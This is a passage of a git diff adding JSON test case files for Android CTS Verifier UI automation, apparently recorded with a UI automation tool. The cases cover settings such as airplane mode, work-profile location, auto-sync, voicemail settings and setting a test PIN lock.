Pos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"\"}],\"className\":\"android.widget.LinearLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":0.0,\"y1\":560.3333333333334,\"x2\":360.0,\"y2\":609.3333333333334},\"clickedPos\":{\"confidentLevel\":2,\"x\":158.0,\"y\":584.5,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":22.0,\"y\":0.33333333333337123,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"leafNodeContext\":\"c740afd6-88d3-45d1-956f-606c77965eb9\",\"firstText\":\"\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Wireless emergency alerts\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":66.0,\"y1\":571.0,\"x2\":250.0,\"y2\":598.0},\"scrollOrientation\":2,\"scrollMaxNumber\":3},{\"type\":\"ClickAction\",\"name\":\"Click Action, Wireless emergency alerts\",\"actionId\":\"b8e8424a-577a-48f6-80b9-ed2f8cae7dc6\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Wireless emergency alerts\"}],\"childrenIdList\":[\"44291145-6774-4ba3-9caf-731853cef58e\",\"41b1ff1b-c557-442a-869a-edcf0945fd93\",\"3d2ced00-bd20-401f-bf72-5994d6b10c23\",\"5ee29e64-400f-4c6f-ba29-d9442740b560\",\"be00d800-5235-410e-a535-55a76d9200b9\",\"8a9e042e-1768-41af-bfca-64d5aa905555\",\"a3737847-5957-4a6a-a50c-242e80b93d8a\",\"7c0c17cc-4dd8-44ca-9c5e-3353cb6d1112\",\"b8e8424a-577a-48f6-80b9-ed2f8cae7dc6\",\"8003eafa-d92b-4571-ba71-a68648526e4f\",\"8b18fc23-789a-4c41-9746-297a040e35a7\",\"da770381-d17c-48ca-8aba-def4338ef96b\",\"15aa571c-2e4d-43c0-b9c7-07b4f23041c4\",\"41618467-e1d1-4cb0-ba3c-c3230a3442bf\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"15-04-Disallow config cell broadcasts","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.129000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/44fc4c64-e1d3-4482-8b56-b1c0c547722d b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/44fc4c64-e1d3-4482-8b56-b1c0c547722d
new file mode 100644
index 0000000..d0cc124
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/44fc4c64-e1d3-4482-8b56-b1c0c547722d
@@ -0,0 +1 @@
+{"uuid":"44fc4c64-e1d3-4482-8b56-b1c0c547722d","details":"{\"type\":\"CompoundAction\",\"name\":\"test_Hide settings in voicemail test(Check image)\",\"actionId\":\"44fc4c64-e1d3-4482-8b56-b1c0c547722d\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"pololee\",\"childrenActions\":[{\"type\":\"ScrollScreenContentValidationAction\",\"name\":\"Scroll to \\\"Hide settings in voicemail test\\\"\",\"actionId\":\"4a022518-ac9d-461b-8ee4-7e211b8b766d\",\"actionType\":\"SCROLL_SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"pololee\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Hide settings in voicemail test\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"fc2657b7-11bf-4dfd-bc50-9f57cb4fd386\",\"displayText\":\"Hide settings in voicemail test\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/text1\",\"text\":\"Hide settings in voicemail test\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":9.333333333333334,\"y1\":436.6666666666667,\"x2\":350.6666666666667,\"y2\":480.6666666666667},\"clickedPos\":{\"confidentLevel\":2,\"x\":118.0,\"y\":459.5,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":62.0,\"y\":-0.8333333333333144,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"leafNodeContext\":\"fc2657b7-11bf-4dfd-bc50-9f57cb4fd386\",\"firstText\":\"Hide settings in voicemail test\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Hide settings in voicemail test\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":224.0,\"y1\":472.0,\"x2\":12.0,\"y2\":447.0},\"scrollOrientation\":2,\"scrollMaxNumber\":30},{\"type\":\"ClickAction\",\"name\":\"Click Action, Hide settings in voicemail test\",\"actionId\":\"0db5ebc8-4271-4c89-9224-d0acbdfbbd7b\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"pololee\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Hide settings in voicemail test\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, id/open_voicemail_settings\",\"actionId\":\"3d62bf02-fd24-400e-8b80-2b3b84635236\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"pololee\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"RESOURCEID\",\"selector\":\"com.android.cts.verifier:id/open_voicemail_settings\"},{\"type\":\"ScreenCapAction\",\"name\":\"SCREEN CAP\",\"actionId\":\"a5b33e29-56ec-4b8a-abe3-b376b9c247ac\",\"actionType\":\"SCREEN_CAP_ACTION\",\"createdBy\":\"pololee\"},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"d58bef99-501c-4489-94f0-324c1f624aa1\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"pololee\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true},{\"type\":\"ClickAction\",\"name\":\"Click Action, id/settings_hidden\",\"actionId\":\"75d929ed-dd0e-4eb3-893a-4b0f3fbb8ac1\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"pololee\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"RESOURCEID\",\"selector\":\"com.android.cts.verifier:id/settings_hidden\"}],\"childrenIdList\":[\"863293b0-236f-46c2-9707-f3bf141fc9f8\",\"4a022518-ac9d-461b-8ee4-7e211b8b766d\",\"0db5ebc8-4271-4c89-9224-d0acbdfbbd7b\",\"1601f323-e824-4190-9ee0-350f0a1149ea\",\"3d62bf02-fd24-400e-8b80-2b3b84635236\",\"a5b33e29-56ec-4b8a-abe3-b376b9c247ac\",\"838a9611-4bf1-4317-8599-98f7e872efdb\",\"34391efa-20da-4c54-a657-418d1b4a5ddd\",\"d58bef99-501c-4489-94f0-324c1f624aa1\",\"75d929ed-dd0e-4eb3-893a-4b0f3fbb8ac1\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"$uicd_null=null,\"}}","name":"test_Hide settings in voicemail test(Check image)","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.280000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/460b5da5-d44f-4f91-ad3a-68715ff4684c b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/460b5da5-d44f-4f91-ad3a-68715ff4684c
new file mode 100644
index 0000000..b1b20c3
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/460b5da5-d44f-4f91-ad3a-68715ff4684c
@@ -0,0 +1 @@
+{"uuid":"460b5da5-d44f-4f91-ad3a-68715ff4684c","details":"{\"type\":\"CompoundAction\",\"name\":\"Turn on airplane mode\",\"actionId\":\"460b5da5-d44f-4f91-ad3a-68715ff4684c\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"pololee\",\"childrenActions\":[{\"type\":\"ClickAction\",\"name\":\"Click Action, Network & internet\",\"actionId\":\"4cd80e64-fe29-4749-8e02-fd67b9d80a45\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"pololee\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT\",\"selector\":\"Network & internet\"},{\"type\":\"PythonScriptAction\",\"name\":\"Turn airplane switch on\",\"actionId\":\"53d93658-4d96-4dae-99c0-278e8167fb8a\",\"actionType\":\"PYTHON_SCRIPT_ACTION\",\"createdBy\":\"pololee\",\"script\":\"from python_uiautomator.device import Device\\n\\n\\nd = Device.create_device_by_slot(0)\\n\\nif d.text(\\\"Airplane mode\\\").right().resource_id(\\\"android:id/switch_widget\\\").attributes(\\\"checked\\\", \\\"false\\\").verify_exist():\\n    d.text(\\\"Airplane mode\\\").right().resource_id(\\\"android:id/switch_widget\\\").attributes(\\\"checked\\\", \\\"false\\\").click()\\n\",\"expectedReturnCode\":\"0\",\"isPathProvided\":false,\"path\":null}],\"childrenIdList\":[\"9be89845-047e-4ef4-98dc-caa8cd186c76\",\"4cd80e64-fe29-4749-8e02-fd67b9d80a45\",\"53d93658-4d96-4dae-99c0-278e8167fb8a\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"Turn on airplane mode","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.272000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/46149c51-f989-4ff1-98c5-18a09bcb4fa5 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/46149c51-f989-4ff1-98c5-18a09bcb4fa5
new file mode 100644
index 0000000..4bf4d29
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/46149c51-f989-4ff1-98c5-18a09bcb4fa5
@@ -0,0 +1 @@
+{"uuid":"46149c51-f989-4ff1-98c5-18a09bcb4fa5","details":"{\"type\":\"CompoundAction\",\"name\":\"Assert the work profile location go enabled and into its previous state off\",\"actionId\":\"46149c51-f989-4ff1-98c5-18a09bcb4fa5\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"pololee\",\"childrenActions\":[{\"type\":\"PythonScriptAction\",\"name\":\"Assert the work profile location go enabled and into its previous state off\",\"actionId\":\"16affe7b-42f2-4b83-bfbd-b23001608356\",\"actionType\":\"PYTHON_SCRIPT_ACTION\",\"createdBy\":\"pololee\",\"script\":\"from python_uiautomator.device import Device\\nfrom python_uiautomator.uicd_python_util import UICDPythonUtil\\n \\nuicd_util = UICDPythonUtil()\\nd = Device.create_device_by_slot(0)\\n\\nresult = d.text(\\\"Location for work profile\\\").right().resource_id(\\\"android:id/switch_widget\\\").attributes(\\\"enabled\\\", \\\"true\\\").attributes(\\\"checked\\\", \\\"false\\\").verify_exist()\\nuicd_util.assert_true(result, \\\"Element not found\\\")\",\"expectedReturnCode\":\"0\",\"isPathProvided\":false,\"path\":null}],\"childrenIdList\":[\"16affe7b-42f2-4b83-bfbd-b23001608356\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"Assert the work profile location go enabled and into its previous state off","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.287000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/477825e2-33af-4238-acac-4dce5c1c5b84 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/477825e2-33af-4238-acac-4dce5c1c5b84
new file mode 100644
index 0000000..2bb4097
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/477825e2-33af-4238-acac-4dce5c1c5b84
@@ -0,0 +1 @@
+{"uuid":"477825e2-33af-4238-acac-4dce5c1c5b84","details":"{\"type\":\"CompoundAction\",\"name\":\"15-15-Disallow share location\",\"actionId\":\"477825e2-33af-4238-acac-4dce5c1c5b84\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[],\"childrenIdList\":[\"44291145-6774-4ba3-9caf-731853cef58e\",\"3c4bab75-4bac-49fa-8264-5f4c3504c60b\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"15-15-Disallow share location","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.141000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/4994c7d8-acaf-4272-b8f5-6768561cf2cf b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/4994c7d8-acaf-4272-b8f5-6768561cf2cf
new file mode 100644
index 0000000..a5c2d00
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/4994c7d8-acaf-4272-b8f5-6768561cf2cf
@@ -0,0 +1 @@
+{"uuid":"4994c7d8-acaf-4272-b8f5-6768561cf2cf","details":"{\"type\":\"CompoundAction\",\"name\":\"09_Profile-aware user settings\",\"actionId\":\"4994c7d8-acaf-4272-b8f5-6768561cf2cf\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"pololee\",\"childrenActions\":[{\"type\":\"ScrollScreenContentValidationAction\",\"name\":\"Scroll to Profile-aware user settings\",\"actionId\":\"895afd7e-8604-47a5-8e50-e531cadfceb3\",\"actionType\":\"SCROLL_SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"pololee\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Profile-aware user settings\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"e963f305-757a-45bc-856e-63d936ee2bb4\",\"displayText\":\"Profile-aware user settings\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/text1\",\"text\":\"Profile-aware user settings\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":0.0,\"y1\":526.6666666666666,\"x2\":360.0,\"y2\":570.6666666666666},\"clickedPos\":{\"confidentLevel\":2,\"x\":102.0,\"y\":552.0,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":78.0,\"y\":-3.3333333333333712,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"leafNodeContext\":\"e963f305-757a-45bc-856e-63d936ee2bb4\",\"firstText\":\"Profile-aware user settings\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Profile-aware user settings\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":202.0,\"y1\":562.0,\"x2\":2.0,\"y2\":542.0},\"scrollOrientation\":2,\"scrollMaxNumber\":30},{\"type\":\"ClickAction\",\"name\":\"Click Action, Profile-aware user settings\",\"actionId\":\"e86b80c1-1658-40d0-a1d8-9357c2932435\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"pololee\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Profile-aware user settings\"},{\"type\":\"ConditionValidationAction\",\"name\":\"Auto-sync personal data\",\"actionId\":\"e1589143-428c-4c35-9d9a-7cac2214b5d0\",\"actionType\":\"CONDITION_VALIDATION_ACTION\",\"createdBy\":\"pololee\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"query\":{\"condition\":\"and\",\"rules\":[{\"field\":\"text\",\"operator\":\"=\",\"value\":\"Auto-sync personal data\"}]},\"clickAfterValidation\":false},{\"type\":\"ClickAction\",\"name\":\"Click Action, Work\",\"actionId\":\"0ad4144f-50b3-46d8-aa55-af474d7eb20d\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"pololee\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Work\"},{\"type\":\"ConditionValidationAction\",\"name\":\"Auto-sync work data\",\"actionId\":\"e7f2714f-0e7f-4433-8244-a14b849527c8\",\"actionType\":\"CONDITION_VALIDATION_ACTION\",\"createdBy\":\"pololee\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"query\":{\"condition\":\"and\",\"rules\":[{\"field\":\"text\",\"operator\":\"=\",\"value\":\"Auto-sync work data\"}]},\"clickAfterValidation\":false},{\"type\":\"PythonScriptAction\",\"name\":\"Turn auto-sync data off for Work\",\"actionId\":\"226232b7-f8ba-4a2e-914d-ea6f6c974b46\",\"actionType\":\"PYTHON_SCRIPT_ACTION\",\"createdBy\":\"pololee\",\"script\":\"from python_uiautomator.device import Device\\n\\n\\nd = Device.create_device_by_slot(0)\\n\\nd.text(\\\"Auto-sync work data\\\").right().resource_id(\\\"android:id/switch_widget\\\").attributes(\\\"checked\\\", \\\"true\\\").click()\\n\",\"expectedReturnCode\":\"0\",\"isPathProvided\":false,\"path\":null},{\"type\":\"ConditionValidationAction\",\"name\":\"Turn auto-sync data off?\",\"actionId\":\"06ed1da9-10ef-416f-afab-dceb2a2c01f7\",\"actionType\":\"CONDITION_VALIDATION_ACTION\",\"createdBy\":\"pololee\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"query\":{\"condition\":\"and\",\"rules\":[{\"field\":\"text\",\"operator\":\"=\",\"value\":\"Turn auto-sync data off?\"}]},\"clickAfterValidation\":false},{\"type\":\"ClickAction\",\"name\":\"Click Action, id/button2\",\"actionId\":\"0b3f4416-8c47-4b58-9c9e-9a15827a75c5\",\"actionType\":\"CLICK_ACTION\",\"actionDescription\":\"Cancel\",\"createdBy\":\"pololee\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"RESOURCEID\",\"selector\":\"android:id/button2\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, Personal\",\"actionId\":\"e131451d-a8d1-47ee-82ae-0174d626189b\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"pololee\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Personal\"},{\"type\":\"PythonScriptAction\",\"name\":\"Turn auto-sync data off for Personal\",\"actionId\":\"12f7fec8-2403-4584-9e6c-1093f8e312fa\",\"actionType\":\"PYTHON_SCRIPT_ACTION\",\"createdBy\":\"pololee\",\"script\":\"from python_uiautomator.device import Device\\n\\n\\nd = Device.create_device_by_slot(0)\\n\\nd.text(\\\"Auto-sync personal data\\\").right().resource_id(\\\"android:id/switch_widget\\\").attributes(\\\"checked\\\", \\\"true\\\").click()\\n\",\"expectedReturnCode\":\"0\",\"isPathProvided\":false,\"path\":null},{\"type\":\"ConditionValidationAction\",\"name\":\"Turn auto-sync data off?\",\"actionId\":\"f92aca92-1d2e-4af8-aa1a-e26bafc204eb\",\"actionType\":\"CONDITION_VALIDATION_ACTION\",\"createdBy\":\"pololee\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"query\":{\"condition\":\"and\",\"rules\":[{\"field\":\"text\",\"operator\":\"=\",\"value\":\"Turn auto-sync data off?\"}]},\"clickAfterValidation\":false},{\"type\":\"ClickAction\",\"name\":\"Click Action, id/button2\",\"actionId\":\"4a824900-29bb-46fa-8d66-0a0c342191eb\",\"actionType\":\"CLICK_ACTION\",\"actionDescription\":\"Cancel\",\"createdBy\":\"pololee\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"RESOURCEID\",\"selector\":\"android:id/button2\"},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"44544468-239a-402a-8b10-287827c1e4fa\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"pololee\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"3e968665-a1c3-40bd-8548-99aa25421f28\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"pololee\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true}],\"childrenIdList\":[\"cf1e8e8c-2104-46f1-8b28-4d372b86fc49\",\"895afd7e-8604-47a5-8e50-e531cadfceb3\",\"e86b80c1-1658-40d0-a1d8-9357c2932435\",\"b70fe893-88de-4879-90ab-c2929211baa8\",\"7b8a5983-efee-45ea-aaa2-9aaf6d82e063\",\"e1589143-428c-4c35-9d9a-7cac2214b5d0\",\"0ad4144f-50b3-46d8-aa55-af474d7eb20d\",\"e7f2714f-0e7f-4433-8244-a14b849527c8\",\"226232b7-f8ba-4a2e-914d-ea6f6c974b46\",\"06ed1da9-10ef-416f-afab-dceb2a2c01f7\",\"0b3f4416-8c47-4b58-9c9e-9a15827a75c5\",\"e131451d-a8d1-47ee-82ae-0174d626189b\",\"12f7fec8-2403-4584-9e6c-1093f8e312fa\",\"f92aca92-1d2e-4af8-aa1a-e26bafc204eb\",\"4a824900-29bb-46fa-8d66-0a0c342191eb\",\"44544468-239a-402a-8b10-287827c1e4fa\",\"3e968665-a1c3-40bd-8548-99aa25421f28\",\"11862730-912f-4b3c-99d6-cff28c749559\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"09_Profile-aware user settings","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.301000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/49bfb869-2ef5-4df6-8fff-3192112b82a2 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/49bfb869-2ef5-4df6-8fff-3192112b82a2
new file mode 100644
index 0000000..91ef366
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/49bfb869-2ef5-4df6-8fff-3192112b82a2
@@ -0,0 +1 @@
+{"uuid":"49bfb869-2ef5-4df6-8fff-3192112b82a2","details":"{\"type\":\"CompoundAction\",\"name\":\"Set \\\"PIN\\\" lock to \\\"1234\\\"\",\"actionId\":\"49bfb869-2ef5-4df6-8fff-3192112b82a2\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ClickAction\",\"name\":\"Click Action, PIN\",\"actionId\":\"9d3b6c9a-48fa-468b-b171-c46b9d19349b\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"PIN\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, Next\",\"actionId\":\"c68f48e7-3a0b-4944-b1f0-97e2feb1c80c\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Next\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, Confirm\",\"actionId\":\"c8efc73d-6a4d-4b2e-84d4-5a7ed6ac7163\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT\",\"selector\":\"Confirm\"}],\"childrenIdList\":[\"9be89845-047e-4ef4-98dc-caa8cd186c76\",\"0ce4e1fa-96a5-4d0d-aa86-a410676c6bf7\",\"bb6f039b-70ef-41a6-9880-20e383ba74d5\",\"3efd7d24-773f-4254-9432-207fa91ad20f\",\"9d3b6c9a-48fa-468b-b171-c46b9d19349b\",\"d348b7ed-2aae-47cb-b900-44247d03c629\",\"c68f48e7-3a0b-4944-b1f0-97e2feb1c80c\",\"d348b7ed-2aae-47cb-b900-44247d03c629\",\"c8efc73d-6a4d-4b2e-84d4-5a7ed6ac7163\",\"2fb8a428-0ad6-4d59-a36e-8ba24663af7b\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"Set \"PIN\" lock to \"1234\"","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.036000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/49c301ea-be46-4ac5-87fc-21262da2994c b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/49c301ea-be46-4ac5-87fc-21262da2994c
new file mode 100644
index 0000000..7b1b88a
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/49c301ea-be46-4ac5-87fc-21262da2994c
@@ -0,0 +1 @@
+{"uuid":"49c301ea-be46-4ac5-87fc-21262da2994c","details":"{\"type\":\"CompoundAction\",\"name\":\"Sensor teardown\",\"actionId\":\"49c301ea-be46-4ac5-87fc-21262da2994c\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"pololee\",\"childrenActions\":[],\"childrenIdList\":[\"caa6ccab-46bc-4259-abd1-dabe145e275a\",\"87aa94cd-e4ba-4453-9d58-267514ce16bb\",\"d3450ee9-4ee0-4753-bb29-15c5b3906285\",\"96f52bf6-6606-42ab-8b3a-fd6c554ea30a\",\"59eff0da-e8a3-4322-9f00-9a3bd9237e10\",\"dc47dc72-9a74-4b16-9c5f-4d2cd0560854\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"Sensor teardown","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.274000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/49d12aa6-c679-44be-ba72-a6c46a5cd4d7 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/49d12aa6-c679-44be-ba72-a6c46a5cd4d7
new file mode 100644
index 0000000..ec55718
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/49d12aa6-c679-44be-ba72-a6c46a5cd4d7
@@ -0,0 +1 @@
